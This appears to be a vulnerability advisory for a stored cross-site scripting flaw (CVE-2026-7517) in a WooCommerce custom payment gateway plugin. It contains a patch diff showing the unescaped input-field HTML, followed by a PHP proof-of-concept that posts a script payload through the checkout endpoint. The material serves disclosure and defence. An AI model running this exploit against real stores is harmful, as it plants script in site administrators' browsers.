+							$woocommerce_mailer->emails['WC_Email_Customer_Processing_Order']->trigger( $order_id );
+						}
+					}
+
+					// Reduce stock levels.
+					$result_reduce_order_stock = ( $this->is_wc_version_below_3 ? $order->reduce_order_stock() : wc_reduce_stock_levels( $order->get_id() ) );
+
+					$order->get_data_store()->set_stock_reduced( $order_id, true );
+
+					// Remove cart.
+					WC()->cart->empty_cart();
+
+					// Return thankyou redirect.
+					return array(
+						'result'   => 'success',
+						'redirect' => ( '' === $this->custom_return_url ) ?
+							$this->get_return_url( $order ) :
+							apply_filters(
+								'alg_wc_custom_payment_gateway_custom_return_url',
+								str_replace(
+									array( '%order_id%', '%order_key%', '%order_total%' ),
+									array( $order->get_id(), $order->get_order_key(), $order->get_total() ),
+									htmlspecialchars_decode( $this->custom_return_url )
+								),
+								$order
+							),
+					);
+				}
+
+				/**
+				 * Get fees.
+				 *
+				 * @version 1.6.0
+				 * @since   1.6.0
+				 */
+				public function get_fees() {
+					$fees = array();
+					for ( $i = 1; $i <= apply_filters( 'alg_wc_custom_payment_gateways_values', 1, 'total_fees', $this ); $i++ ) { //phpcs:ignore
+						$fee_amount = $this->get_option( 'fee_amount_' . $i, '' );
+						if ( 'yes' === $this->get_option( 'fee_enabled_' . $i, 'yes' ) && $fee_amount ) {
+							$fees[] = array(
+								'name'       => $this->get_option( 'fee_name_' . $i, '' ),
+								'amount'     => $fee_amount,
+								'taxable'    => ( 'yes' === $this->get_option( 'fee_taxable_' . $i, 'no' ) ),
+								'tax_class'  => $this->get_option( 'fee_tax_class_' . $i, '' ),
+								'type'       => $this->get_option( 'fee_type_' . $i, 'fixed' ),
+								'amount_min' => $this->get_option( 'fee_amount_min_' . $i, '' ),
+								'amount_max' => $this->get_option( 'fee_amount_max_' . $i, '' ),
+								'cart_min'   => $this->get_option( 'fee_cart_min_' . $i, '' ),
+								'cart_max'   => $this->get_option( 'fee_cart_max_' . $i, '' ),
+							);
+						}
+					}
+					return $fees;
+				}
+
+				/**
+				 * Get input fields.
+				 *
+				 * @version 1.5.0
+				 * @since   1.3.0
+				 * @todo    [dev] add `style`
+				 * @todo    [dev] customizable key (i.e. instead of `sanitize_title( $input_field['title'] )`)
+				 * @todo    [dev] more field types (e.g. `radio`, maybe `file` etc.)
+				 * @todo    [dev] more options for types (e.g. for `min`, `max`, `step` for `number` etc.)
+				 * @todo    [dev] customizable template (e.g. `fieldset` etc.) and position (i.e. before or after the description)
+				 */
+				public function get_input_fields() {
+					$html         = '';
+					$input_fields = array();
+					for ( $i = 1; $i <= apply_filters( 'alg_wc_custom_payment_gateways_values', 1, 'total_input_fields', $this ); $i++ ) { //phpcs:ignore
+						$title = $this->get_option( 'input_fields_title_' . $i, '' );
+						if ( '' !== $title ) {
+							$input_fields[] = array(
+								'title'       => $title,
+								'required'    => ( 'yes' === $this->get_option( 'input_fields_required_' . $i, 'no' ) ),
+								'type'        => $this->get_option( 'input_fields_type_' . $i, 'text' ),
+								'placeholder' => $this->get_option( 'input_fields_placeholder_' . $i, '' ),
+								'class'       => $this->get_option( 'input_fields_class_' . $i, '' ),
+								'value'       => $this->get_option( 'input_fields_value_' . $i, '' ),
+								'options'     => $this->get_option( 'input_fields_options_' . $i, '' ),
+							);
+						}
+					}
+					foreach ( $input_fields as $input_field ) {
+
+						$html .= '<p class="form-row form-row-wide' . ( $input_field['required'] ? ' validate-required' : '' ) . '">';
+
+						$html .= '<label for="alg_wc_cpg_input_fields_' . $this->id . '_' . sanitize_title( $input_field['title'] ) . '" class="">' .
+							$input_field['title'] . ( $input_field['required'] ? ' <abbr class="required" title="required">*</abbr>' : '' ) . '</label>';
+
+						$html .= '<span class="woocommerce-input-wrapper">';
+						switch ( $input_field['type'] ) {
+							case 'select':
+								$html  .= '<select' .
+									' name="alg_wc_cpg_input_fields[' . $this->id . '][' . $input_field['title'] . ']"' .
+									' id="alg_wc_cpg_input_fields_' . $this->id . '_' . sanitize_title( $input_field['title'] ) . '"' .
+									' class="' . $input_field['class'] . '"' .
+								'>';
+								$values = explode( PHP_EOL, $input_field['options'] );
+								foreach ( $values as $value ) {
+									$html .= '<option value="' . $value . '" ' . selected( $input_field['value'], $value, false ) . '>' . $value . '</option>';
+								}
+								$html .= '</select>';
+								break;
+							case 'textarea':
+								$html .= '<textarea' .
+									' name="alg_wc_cpg_input_fields[' . $this->id . '][' . $input_field['title'] . ']"' .
+									' id="alg_wc_cpg_input_fields_' . $this->id . '_' . sanitize_title( $input_field['title'] ) . '"' .
+									' placeholder="' . $input_field['placeholder'] . '"' .
+									' class="' . $input_field['class'] . '"' .
+								'>' . $input_field['value'] . '</textarea>';
+								break;
+							default: // e.g. `text`.
+								$html .= '<input' .
+									' type="' . $input_field['type'] . '"' .
+									' name="alg_wc_cpg_input_fields[' . $this->id . '][' . $input_field['title'] . ']"' .
+									' id="alg_wc_cpg_input_fields_' . $this->id . '_' . sanitize_title( $input_field['title'] ) . '"' .
+									' placeholder="' . $input_field['placeholder'] . '"' .
+									' class="' . $input_field['class'] . '"' .
+									( 'checkbox' !== $input_field['type'] ? ' value="' . $input_field['value'] . '"' : '' ) .
+								'>';
+						}
+						$html .= '</span>';
+
+						if ( $input_field['required'] ) {
+							$html .= '<input' .
+								' type="hidden"' .
+								' name="alg_wc_cpg_input_fields_required[' . $this->id . '][' . $input_field['title'] . ']"' .
+								' value="1"' .
+							'>';
+						}
+
+						$html .= '</p>';
+					}
+					return $html;
+				}
+
+				/**
+				 * Init.
+				 *
+				 * @param string $id_count ID Count.
+				 * @version 1.3.0
+				 * @since   1.0.0
+				 */
+				public function init( $id_count ) {
+					$this->id                 = 'alg_custom_gateway_' . $id_count;
+					$this->has_fields         = false;
+					$this->method_title       = get_option( 'alg_wc_custom_payment_gateways_admin_title_' . $id_count, __( 'Custom Gateway', 'custom-payment-gateways-woocommerce' ) . ' #' . $id_count );
+					$this->method_description = __( 'Custom Payment Gateway', 'custom-payment-gateways-woocommerce' ) . ' #' . $id_count;
+					$this->id_count           = $id_count;
+					// Load the settings.
+					$this->init_form_fields();
+					$this->init_settings();
+					// Define user set variables.
+					$this->title                  = $this->get_option( 'title', '' );
+					$this->description            = $this->get_option( 'description', '' );
+					$this->instructions           = $this->get_option( 'instructions', '' );
+					$this->instructions_in_email  = $this->get_option( 'instructions_in_email', '' );
+					$this->icon                   = $this->get_option( 'icon', '' );
+					$this->min_amount             = $this->get_option( 'min_amount', 0 );
+					$this->enable_for_methods     = $this->get_option( 'enable_for_methods', array() );
+					$this->enable_for_virtual     = $this->get_option( 'enable_for_virtual', 'yes' ) === 'yes';
+					$this->default_order_status   = $this->get_option( 'default_order_status', 'pending' );
+					$this->send_email_to_admin    = $this->get_option( 'send_email_to_admin', 'no' );
+					$this->send_email_to_customer = $this->get_option( 'send_email_to_customer', 'no' );
+					$this->custom_return_url      = $this->get_option( 'custom_return_url', '' );
+					// Actions.
+					add_action( 'woocommerce_update_options_payment_gateways_' . $this->id, array( $this, 'process_admin_options' ) );
+					add_action( 'woocommerce_thankyou_' . $this->id, array( $this, 'thankyou_page' ) );
+					add_action( 'woocommerce_email_before_order_table', array( $this, 'email_instructions' ), 10, 3 ); // Customer Emails.
+				}
+
+				/**
+				 * If There are no payment fields show the description if set.
+				 * Override this in your gateway if you have some.
+				 */
+				public function payment_fields() {
+					$description = $this->get_description();
+					if ( $description ) {
+						echo wpautop( wptexturize( $description ) ); // @codingStandardsIgnoreLine.
+					}
+
+					if ( '' !== $this->get_input_fields() ) {
+						echo wpautop( wptexturize( $this->get_input_fields() ) ); // @codingStandardsIgnoreLine.
+					}
+
+					if ( $this->supports( 'default_credit_card_form' ) ) {
+						$this->credit_card_form(); // Deprecated, will be removed in a future version.
+					}
+				}
+			}
+
+			/**
+			 * Add WC Gateway Classes.
+			 *
+			 * @param array $methods Gateway Methods.
+			 * @return array
+			 * @version 1.6.0
+			 * @since   1.0.0
+			 */
+			function add_wc_gateway_alg_custom_classes( $methods ) {
+				$_methods = array();
+				for ( $i = 1; $i <= apply_filters( 'alg_wc_custom_payment_gateways_values', 1, 'total_gateways' ); $i++ ) { //phpcs:ignore
+					$_methods[ $i ] = new WC_Gateway_Alg_Custom_Template();
+					$_methods[ $i ]->init( $i );
+					$methods[] = $_methods[ $i ];
+				}
+				return $methods;
+			}
+			add_filter( 'woocommerce_payment_gateways', 'add_wc_gateway_alg_custom_classes' );
+		}
+	}
+}
--- a/custom-payment-gateways-woocommerce/includes/class-wc-gateway-alg-custom.php
+++ b/custom-payment-gateways-woocommerce/includes/class-wc-gateway-alg-custom.php
@@ -1,544 +0,0 @@
-<?php
-/**
- * Custom Payment Gateways for WooCommerce - Gateways Class
- *
- * @version 1.6.3
- * @since   1.0.0
- * @author  Imaginate Solutions
- * @package cpgw
- */
-
-add_action( 'plugins_loaded', 'init_wc_gateway_alg_custom_class' );
-
-if ( ! function_exists( 'init_wc_gateway_alg_custom_class' ) ) {
-
-	/**
-	 * Load the class for creating custom gateway once plugins are loaded.
-	 */
-	function init_wc_gateway_alg_custom_class() {
-
-		if ( class_exists( 'WC_Payment_Gateway' ) && ! class_exists( 'WC_Gateway_Alg_Custom_Template' ) ) {
-
-			/**
-			 * WC_Gateway_Alg_Custom_Template class.
-			 *
-			 * @version 1.6.3
-			 * @since   1.0.0
-			 */
-			class WC_Gateway_Alg_Custom_Template extends WC_Payment_Gateway {
-
-				/**
-				 * Check WC version for Backward compatibility.
-				 *
-				 * @var string
-				 */
-				public $is_wc_version_below_3 = null;
-
-				/**
-				 * The current count of the payment gateway being referenced.
-				 *
-				 * @var string
-				 */
-				public $id_count = null;
-
-				/**
-				 * The instructions for the payment gateway.
-				 *
-				 * @var string
-				 */
-				public $instructions = null;
-
-				/**
-				 * The instructions in email for the payment gateway.
-				 *
-				 * @var string
-				 */
-				public $instructions_in_email = null;
-
-				/**
-				 * The minimum amount needed for payment gateway.
-				 *
-				 * @var int
-				 */
-				public $min_amount = 0;
-
-				/**
-				 * Enable gateway for specific shipping method.
-				 *
-				 * @var string
-				 */
-				public $enable_for_methods = null;
-
-				/**
-				 * Enable for virtual orders or not.
-				 *
-				 * @var string
-				 */
-				public $enable_for_virtual = null;
-
-				/**
-				 * The default order status when payment gateway is used.
-				 *
-				 * @var string
-				 */
-				public $default_order_status = null;
-
-				/**
-				 * Send email to admin.
-				 *
-				 * @var string
-				 */
-				public $send_email_to_admin = null;
-
-				/**
-				 * Send email to customer.
-				 *
-				 * @var string
-				 */
-				public $send_email_to_customer = null;
-
-				/**
-				 * The return url after placing order.
-				 *
-				 * @var string
-				 */
-				public $custom_return_url = null;
-
-				/**
-				 * Constructor.
-				 *
-				 * @version 1.1.0
-				 * @since   1.0.0
-				 */
-				public function __construct() {
-					$this->is_wc_version_below_3 = version_compare( get_option( 'woocommerce_version', null ), '3.0.0', '<' );
-					return true;
-				}
-
-				/**
-				 * Initialise gateway settings form fields.
-				 *
-				 * @version 1.3.0
-				 * @since   1.0.0
-				 * @todo    [dev] check if we really need `is_admin()` for `$shipping_methods`
-				 * @todo    [dev] maybe redo `'yes' !== get_option( 'alg_wc_cpg_load_shipping_method_instances', 'yes' )`
-				 */
-				public function init_form_fields() {
-					// Prepare shipping methods.
-					$shipping_methods                  = array();
-					$do_load_shipping_method_instances = get_option( 'alg_wc_cpg_load_shipping_method_instances', 'yes' );
-					if ( 'disable' !== $do_load_shipping_method_instances && is_admin() ) {
-						$data_store = WC_Data_Store::load( 'shipping-zone' );
-						$raw_zones  = $data_store->get_zones();
-						foreach ( $raw_zones as $raw_zone ) {
-							$zones[] = new WC_Shipping_Zone( $raw_zone );
-						}
-						$zones[] = new WC_Shipping_Zone( 0 );
-						foreach ( WC()->shipping()->load_shipping_methods() as $method ) {
-							$shipping_methods[ $method->get_method_title() ] = array();
-
-							$shipping_methods[ $method->get_method_title() ][ $method->id ] = sprintf(
-								// Translators: %1$s shipping method name.
-								__( 'Any "%1$s" method', 'woocommerce' ),
-								$method->get_method_title()
-							);
-							foreach ( $zones as $zone ) {
-								$shipping_method_instances = $zone->get_shipping_methods();
-								$shipping_method_instances = ( 'yes' === $do_load_shipping_method_instances ? $zone->get_shipping_methods() : array() );
-								foreach ( $shipping_method_instances as $shipping_method_instance_id => $shipping_method_instance ) {
-									if ( $shipping_method_instance->id !== $method->id ) {
-										continue;
-									}
-									$option_id = $shipping_method_instance->get_rate_id();
-
-									$option_instance_title = sprintf(
-										// Translators: %1$s shipping method title, %2$s shipping method id.
-										__( '%1$s (#%2$s)', 'woocommerce' ),
-										$shipping_method_instance->get_title(),
-										$shipping_method_instance_id
-									);
-
-									$option_title = sprintf(
-										// Translators: %1$s zone name, %2$s shipping method instance name.
-										__( '%1$s – %2$s', 'woocommerce' ),
-										$zone->get_id() ? $zone->get_zone_name() :
-										__( 'Other locations', 'woocommerce' ),
-										$option_instance_title
-									);
-									$shipping_methods[ $method->get_method_title() ][ $option_id ] = $option_title;
-								}
-							}
-						}
-					}
-					// Prepare icon description.
-					$icon_desc = ( '' !== ( $icon_url = $this->get_option( 'icon', '' ) ) ?
-						'<img src="' . $icon_url . '" alt="' . $this->title . '" title="' . $this->title . '" />' : '' );
-					// Form fields.
-					$this->form_fields = require 'settings/class-wc-gateway-alg-custom-form-fields.php';
-				}
-
-				/**
-				 * Check if the gateway is available for use,
-				 *
-				 * @version 1.5.0
-				 * @since   1.0.0
-				 * @return  bool
-				 * @todo    [dev] recheck enable_for_virtual part of the code
-				 */
-				public function is_available() {
-					$order = null;
-
-					// Check min amount.
-					$min_amount = apply_filters( 'alg_wc_custom_payment_gateways_values', 0, 'min_amount', $this );
-
-					if ( $min_amount > 0 && isset( WC()->cart->total ) && '' != WC()->cart->total && isset( WC()->cart->fee_total ) ) {
-						$total_excluding_fees = WC()->cart->total - WC()->cart->fee_total;
-						if ( $total_excluding_fees < $min_amount ) {
-							return false;
-						}
-					}
-
-					// Check if is virtual.
-					if ( ! $this->enable_for_virtual ) {
-						if ( WC()->cart && ! WC()->cart->needs_shipping() ) {
-							return false;
-						}
-						if ( is_page( wc_get_page_id( 'checkout' ) ) && 0 < get_query_var( 'order-pay' ) ) {
-							$order_id = absint( get_query_var( 'order-pay' ) );
-							$order    = wc_get_order( $order_id );
-							// Test if order needs shipping.
-							$needs_shipping = false;
-							if ( 0 < count( $order->get_items() ) ) {
-								foreach ( $order->get_items() as $item ) {
-									$_product = $order->get_product_from_item( $item );
-
-									if ( $_product->needs_shipping() ) {
-										$needs_shipping = true;
-										break;
-									}
-								}
-							}
-							$needs_shipping = apply_filters( 'woocommerce_cart_needs_shipping', $needs_shipping );
-							if ( $needs_shipping ) {
-								return false;
-							}
-						}
-					}
-
-					// Only apply if all packages are being shipped via ...
-					if ( ! empty( $this->enable_for_methods ) ) {
-						$session_object                  = WC()->session;
-						$chosen_shipping_methods_session = ( is_object( $session_object ) ) ? $session_object->get( 'chosen_shipping_methods' ) : null;
-						$chosen_shipping_methods         = ( isset( $chosen_shipping_methods_session ) ) ? array_unique( $chosen_shipping_methods_session ) : array();
-						$check_method                    = false;
-						if ( is_object( $order ) ) {
-							$shipping_method = ( $this->is_wc_version_below_3 ? $order->shipping_method : $order->get_shipping_method() );
-							if ( $shipping_method ) {
-								$check_method = $shipping_method;
-							}
-						} elseif ( empty( $chosen_shipping_methods ) || count( $chosen_shipping_methods ) > 1 ) {
-							$check_method = false;
-						} elseif ( count( $chosen_shipping_methods ) === 1 ) {
-							$check_method = $chosen_shipping_methods[0];
-						}
-						if ( ! $check_method ) {
-							return false;
-						}
-						$found = false;
-						foreach ( $this->enable_for_methods as $method_id ) {
-							if ( strpos( $method_id, ':' ) === false ) {
-								$_check_method = explode( ':', $check_method );
-								$_check_method = $_check_method[0];
-							} else {
-								$_check_method = $check_method;
-							}
-							if ( $_check_method === $method_id ) {
-								$found = true;
-								break;
-							}
-						}
-						if ( ! $found ) {
-							return false;
-						}
-					}
-
-					return parent::is_available();
-				}
-
-				/**
-				 * Output for the order received page.
-				 *
-				 * @version 1.0.0
-				 * @since   1.0.0
-				 */
-				public function thankyou_page() {
-					if ( $this->instructions ) {
-						$instructions = $this->instructions;
-
-						if ( function_exists( 'pll__' ) ) {
-							$instructions = pll__( $instructions );
-						}
-						echo do_shortcode( wpautop( wptexturize( $instructions ) ) );
-					}
-				}
-
-				/**
-				 * Add content to the WC emails.
-				 *
-				 * @version 1.1.0
-				 * @since   1.0.0
-				 * @access  public
-				 * @param   WC_Order $order Order Object.
-				 * @param   bool     $sent_to_admin Send to Admin.
-				 * @param   bool     $plain_text Plain Text.
-				 */
-				public function email_instructions( $order, $sent_to_admin, $plain_text = false ) {
-					if ( $this->instructions_in_email && ! $sent_to_admin && $this->id === ( $this->is_wc_version_below_3 ? $order->payment_method : $order->get_payment_method() ) && $this->default_order_status === ( $this->is_wc_version_below_3 ? $order->status : $order->get_status() ) ) {
-
-						$instructions_email = $this->instructions_in_email;
-
-						if ( function_exists( 'pll__' ) ) {
-							$instructions_email = pll__( $instructions_email );
-						}
-						echo do_shortcode( wpautop( wptexturize( $instructions_email ) ) . PHP_EOL );
-					}
-				}
-
-				/**
-				 * Process the payment and return the result
-				 *
-				 * @version 1.6.3
-				 * @since   1.0.0
-				 * @param   int $order_id Order ID.
-				 * @return  array
-				 */
-				public function process_payment( $order_id ) {
-
-					$order = wc_get_order( $order_id );
-
-					// Mark as default order status.
-					$statuses = alg_wc_custom_payment_gateways_get_order_statuses();
-					$note     = isset( $statuses[ $this->default_order_status ] ) ? $statuses[ $this->default_order_status ] : '';
-					$order->update_status( $this->default_order_status, $note ); // e.g. ( 'on-hold', __( 'Awaiting payment', 'woocommerce' ) ).
-
-					// Emails.
-					if ( 'yes' === $this->send_email_to_admin || 'yes' === $this->send_email_to_customer ) {
-						$woocommerce_mailer = WC()->mailer();
-						if ( 'yes' === $this->send_email_to_admin ) {
-							$woocommerce_mailer->emails['WC_Email_New_Order']->trigger( $order_id );
-						}
-						if ( 'yes' === $this->send_email_to_customer ) {
-							$woocommerce_mailer->emails['WC_Email_Customer_Processing_Order']->trigger( $order_id );
-						}
-					}
-
-					// Reduce stock levels.
-					$result_reduce_order_stock = ( $this->is_wc_version_below_3 ? $order->reduce_order_stock() : wc_reduce_stock_levels( $order->get_id() ) );
-
-					$order->get_data_store()->set_stock_reduced( $order_id, true );
-
-					// Remove cart.
-					WC()->cart->empty_cart();
-
-					// Return thankyou redirect.
-					return array(
-						'result'   => 'success',
-						'redirect' => ( '' == $this->custom_return_url ) ?
-							$this->get_return_url( $order ) :
-							apply_filters(
-								'alg_wc_custom_payment_gateway_custom_return_url',
-								str_replace(
-									array( '%order_id%', '%order_key%', '%order_total%' ),
-									array( $order->get_id(), $order->get_order_key(), $order->get_total() ),
-									htmlspecialchars_decode( $this->custom_return_url )
-								),
-								$order
-							),
-					);
-				}
-
-				/**
-				 * Get fees.
-				 *
-				 * @version 1.6.0
-				 * @since   1.6.0
-				 */
-				public function get_fees() {
-					$fees = array();
-					for ( $i = 1; $i <= apply_filters( 'alg_wc_custom_payment_gateways_values', 1, 'total_fees', $this ); $i++ ) { //phpcs:ignore
-						$fee_amount = $this->get_option( 'fee_amount_' . $i, '' );
-						if ( 'yes' === $this->get_option( 'fee_enabled_' . $i, 'yes' ) && $fee_amount ) {
-							$fees[] = array(
-								'name'       => $this->get_option( 'fee_name_' . $i, '' ),
-								'amount'     => $fee_amount,
-								'taxable'    => ( 'yes' === $this->get_option( 'fee_taxable_' . $i, 'no' ) ),
-								'tax_class'  => $this->get_option( 'fee_tax_class_' . $i, '' ),
-								'type'       => $this->get_option( 'fee_type_' . $i, 'fixed' ),
-								'amount_min' => $this->get_option( 'fee_amount_min_' . $i, '' ),
-								'amount_max' => $this->get_option( 'fee_amount_max_' . $i, '' ),
-								'cart_min'   => $this->get_option( 'fee_cart_min_' . $i, '' ),
-								'cart_max'   => $this->get_option( 'fee_cart_max_' . $i, '' ),
-							);
-						}
-					}
-					return $fees;
-				}
-
-				/**
-				 * Get input fields.
-				 *
-				 * @version 1.5.0
-				 * @since   1.3.0
-				 * @todo    [dev] add `style`
-				 * @todo    [dev] customizable key (i.e. instead of `sanitize_title( $input_field['title'] )`)
-				 * @todo    [dev] more field types (e.g. `radio`, maybe `file` etc.)
-				 * @todo    [dev] more options for types (e.g. for `min`, `max`, `step` for `number` etc.)
-				 * @todo    [dev] customizable template (e.g. `fieldset` etc.) and position (i.e. before or after the description)
-				 */
-				public function get_input_fields() {
-					$html         = '';
-					$input_fields = array();
-					for ( $i = 1; $i <= apply_filters( 'alg_wc_custom_payment_gateways_values', 1, 'total_input_fields', $this ); $i++ ) { //phpcs:ignore
-						$title = $this->get_option( 'input_fields_title_' . $i, '' );
-						if ( '' !== $title ) {
-							$input_fields[] = array(
-								'title'       => $title,
-								'required'    => ( 'yes' === $this->get_option( 'input_fields_required_' . $i, 'no' ) ),
-								'type'        => $this->get_option( 'input_fields_type_' . $i, 'text' ),
-								'placeholder' => $this->get_option( 'input_fields_placeholder_' . $i, '' ),
-								'class'       => $this->get_option( 'input_fields_class_' . $i, '' ),
-								'value'       => $this->get_option( 'input_fields_value_' . $i, '' ),
-								'options'     => $this->get_option( 'input_fields_options_' . $i, '' ),
-							);
-						}
-					}
-					foreach ( $input_fields as $input_field ) {
-
-						$html .= '<p class="form-row form-row-wide' . ( $input_field['required'] ? ' validate-required' : '' ) . '">';
-
-						$html .= '<label for="alg_wc_cpg_input_fields_' . $this->id . '_' . sanitize_title( $input_field['title'] ) . '" class="">' .
-							$input_field['title'] . ( $input_field['required'] ? ' <abbr class="required" title="required">*</abbr>' : '' ) . '</label>';
-
-						$html .= '<span class="woocommerce-input-wrapper">';
-						switch ( $input_field['type'] ) {
-							case 'select':
-								$html  .= '<select' .
-									' name="alg_wc_cpg_input_fields[' . $this->id . '][' . $input_field['title'] . ']"' .
-									' id="alg_wc_cpg_input_fields_' . $this->id . '_' . sanitize_title( $input_field['title'] ) . '"' .
-									' class="' . $input_field['class'] . '"' .
-								'>';
-								$values = explode( PHP_EOL, $input_field['options'] );
-								foreach ( $values as $value ) {
-									$html .= '<option value="' . $value . '" ' . selected( $input_field['value'], $value, false ) . '>' . $value . '</option>';
-								}
-								$html .= '</select>';
-								break;
-							case 'textarea':
-								$html .= '<textarea' .
-									' name="alg_wc_cpg_input_fields[' . $this->id . '][' . $input_field['title'] . ']"' .
-									' id="alg_wc_cpg_input_fields_' . $this->id . '_' . sanitize_title( $input_field['title'] ) . '"' .
-									' placeholder="' . $input_field['placeholder'] . '"' .
-									' class="' . $input_field['class'] . '"' .
-								'>' . $input_field['value'] . '</textarea>';
-								break;
-							default: // e.g. `text`.
-								$html .= '<input' .
-									' type="' . $input_field['type'] . '"' .
-									' name="alg_wc_cpg_input_fields[' . $this->id . '][' . $input_field['title'] . ']"' .
-									' id="alg_wc_cpg_input_fields_' . $this->id . '_' . sanitize_title( $input_field['title'] ) . '"' .
-									' placeholder="' . $input_field['placeholder'] . '"' .
-									' class="' . $input_field['class'] . '"' .
-									( 'checkbox' !== $input_field['type'] ? ' value="' . $input_field['value'] . '"' : '' ) .
-								'>';
-						}
-						$html .= '</span>';
-
-						if ( $input_field['required'] ) {
-							$html .= '<input' .
-								' type="hidden"' .
-								' name="alg_wc_cpg_input_fields_required[' . $this->id . '][' . $input_field['title'] . ']"' .
-								' value="1"' .
-							'>';
-						}
-
-						$html .= '</p>';
-					}
-					return $html;
-				}
-
-				/**
-				 * Init.
-				 *
-				 * @param string $id_count ID Count.
-				 * @version 1.3.0
-				 * @since   1.0.0
-				 */
-				public function init( $id_count ) {
-					$this->id                 = 'alg_custom_gateway_' . $id_count;
-					$this->has_fields         = false;
-					$this->method_title       = get_option( 'alg_wc_custom_payment_gateways_admin_title_' . $id_count, __( 'Custom Gateway', 'custom-payment-gateways-woocommerce' ) . ' #' . $id_count );
-					$this->method_description = __( 'Custom Payment Gateway', 'custom-payment-gateways-woocommerce' ) . ' #' . $id_count;
-					$this->id_count           = $id_count;
-					// Load the settings.
-					$this->init_form_fields();
-					$this->init_settings();
-					// Define user set variables.
-					$this->title                  = $this->get_option( 'title', '' );
-					$this->description            = $this->get_option( 'description', '' );
-					$this->instructions           = $this->get_option( 'instructions', '' );
-					$this->instructions_in_email  = $this->get_option( 'instructions_in_email', '' );
-					$this->icon                   = $this->get_option( 'icon', '' );
-					$this->min_amount             = $this->get_option( 'min_amount', 0 );
-					$this->enable_for_methods     = $this->get_option( 'enable_for_methods', array() );
-					$this->enable_for_virtual     = $this->get_option( 'enable_for_virtual', 'yes' ) === 'yes';
-					$this->default_order_status   = $this->get_option( 'default_order_status', 'pending' );
-					$this->send_email_to_admin    = $this->get_option( 'send_email_to_admin', 'no' );
-					$this->send_email_to_customer = $this->get_option( 'send_email_to_customer', 'no' );
-					$this->custom_return_url      = $this->get_option( 'custom_return_url', '' );
-					// Actions.
-					add_action( 'woocommerce_update_options_payment_gateways_' . $this->id, array( $this, 'process_admin_options' ) );
-					add_action( 'woocommerce_thankyou_' . $this->id, array( $this, 'thankyou_page' ) );
-					add_action( 'woocommerce_email_before_order_table', array( $this, 'email_instructions' ), 10, 3 ); // Customer Emails.
-				}
-
-				/**
-				 * If There are no payment fields show the description if set.
-				 * Override this in your gateway if you have some.
-				 */
-				public function payment_fields() {
-					$description = $this->get_description();
-					if ( $description ) {
-						echo wpautop( wptexturize( $description ) ); // @codingStandardsIgnoreLine.
-					}
-
-					if ( '' !== $this->get_input_fields() ) {
-						echo wpautop( wptexturize( $this->get_input_fields() ) ); // @codingStandardsIgnoreLine.
-					}
-
-					if ( $this->supports( 'default_credit_card_form' ) ) {
-						$this->credit_card_form(); // Deprecated, will be removed in a future version.
-					}
-				}
-			}
-
-			/**
-			 * Add WC Gateway Classes.
-			 *
-			 * @param array $methods Gateway Methods.
-			 * @return array
-			 * @version 1.6.0
-			 * @since   1.0.0
-			 */
-			function add_wc_gateway_alg_custom_classes( $methods ) {
-				$_methods = array();
-				for ( $i = 1; $i <= apply_filters( 'alg_wc_custom_payment_gateways_values', 1, 'total_gateways' ); $i++ ) { //phpcs:ignore
-					$_methods[ $i ] = new WC_Gateway_Alg_Custom_Template();
-					$_methods[ $i ]->init( $i );
-					$methods[] = $_methods[ $i ];
-				}
-				return $methods;
-			}
-			add_filter( 'woocommerce_payment_gateways', 'add_wc_gateway_alg_custom_classes' );
-		}
-	}
-}
--- a/custom-payment-gateways-woocommerce/includes/settings/class-alg-wc-custom-payment-gateways-settings-general.php
+++ b/custom-payment-gateways-woocommerce/includes/settings/class-alg-wc-custom-payment-gateways-settings-general.php
@@ -19,8 +19,18 @@
 	 */
 	class Alg_WC_Custom_Payment_Gateways_Settings_General extends Alg_WC_Custom_Payment_Gateways_Settings_Section {

+		/**
+		 * Section ID.
+		 *
+		 * @var string
+		 */
 		public $id = '';

+		/**
+		 * Section description.
+		 *
+		 * @var string
+		 */
 		public $desc = '';

 		/**
@@ -88,7 +98,7 @@
 					'default' => __( 'Custom Gateway', 'custom-payment-gateways-woocommerce' ) . ' #' . $i,
 					'type'    => 'text',
 					'desc'    => '<a cla

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-7517 - Custom Payment Gateways for WooCommerce <= 2.1.0 - Unauthenticated Stored Cross-Site Scripting

$target_url = 'http://example.com'; // Change this to the target WordPress site URL
$payment_method = 'alg_custom_gateway_1'; // Default custom gateway ID, change if different

$payload = '"><script>alert("XSS_Atomic_Edge");</script>';

$post_data = array(
    'payment_method' => $payment_method,
    'alg_wc_cpg_input_fields' => array(
        $payment_method => array(
            'test_field' => $payload
        )
    )
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/?wc-ajax=checkout');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_COOKIE, 'wordpress_test_cookie=WP+Cookie+check'); // Bypass test cookie check if needed

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] Sent malicious checkout request to: " . $target_url . "/?wc-ajax=checkoutn";
echo "[+] HTTP Status: " . $http_code . "n";
echo "[+] Payload injected: " . $payload . "n";
echo "[+] PoC completed. Check admin order details page for script execution.n";

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

